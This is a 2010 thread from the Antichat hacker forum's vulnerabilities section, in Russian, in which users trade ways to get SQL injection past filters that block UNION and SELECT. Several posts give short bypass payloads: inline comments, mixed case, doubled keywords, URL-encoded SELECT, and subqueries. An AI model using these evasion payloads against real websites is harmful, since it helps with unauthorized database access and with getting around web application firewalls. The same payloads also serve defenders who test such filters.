ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #13421  
Старый 26.05.2010, 18:51
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Кто подскажет что делать если стоит фильтрация UNION или SELECT??
 
Ответить с цитированием

  #13422  
Старый 26.05.2010, 18:53
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию

+union+/*!select*/+0,1,2....
+UniOn+SeLecT+0,1,2....
+Union+Select+0,1,2....
+/*!union*/+/*!select*/+0,1,2....
 
Ответить с цитированием

  #13423  
Старый 26.05.2010, 18:59
DrakonHaSh
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме:
264305

Репутация: 30
Отправить сообщение для DrakonHaSh с помощью ICQ
По умолчанию

Цитата:
Сообщение от Анжелика  
В случае наличия на сервере mod_security то и пост запросы будут в логах
если стоит mod_security то "обыкновенные" конструкции sql inj
Код:
... union select ...
вроде как работать не будут ?
 
Ответить с цитированием

  #13424  
Старый 26.05.2010, 19:00
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Цитата:
Сообщение от LokbatanLi  
+union+/*!select*/+0,1,2....
+UniOn+SeLecT+0,1,2....
+Union+Select+0,1,2....
+/*!union*/+/*!select*/+0,1,2....
Какие еще есть способы?
 
Ответить с цитированием

  #13425  
Старый 26.05.2010, 19:45
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

...+uniunionon+seleselectct...
глупо так гадать, зависит от того, какой фильтр.
 
Ответить с цитированием

  #13426  
Старый 26.05.2010, 23:16
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию

Цитата:
Сообщение от GOGA075  
Кто подскажет что делать если стоит фильтрация UNION или SELECT??
Если фильтрация действует, когда union и select вместе, тогда используй подзапросы.
 
Ответить с цитированием

  #13427  
Старый 27.05.2010, 01:48
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074

Репутация: 257
По умолчанию

Цитата:
Сообщение от LokbatanLi  
+UniOn+SeLecT+0,1,2....
+Union+Select+0,1,2....
Это одно и тоже.
 
Ответить с цитированием

  #13428  
Старый 27.05.2010, 02:29
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
Провел на форуме:
540530

Репутация: 54
По умолчанию

union+%53%45%4C%45%43%54
 
Ответить с цитированием

  #13429  
Старый 27.05.2010, 02:37
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

еще мессаг~10 примерно, и мы таки придем к тому, что надо выложить сцыку и уже не страдать ерундой, мда. Придлагаю внести в правила
 
Ответить с цитированием

  #13430  
Старый 27.05.2010, 02:56
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

отличное правило)))

P.S. там ещё mod_rewrite может быть)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ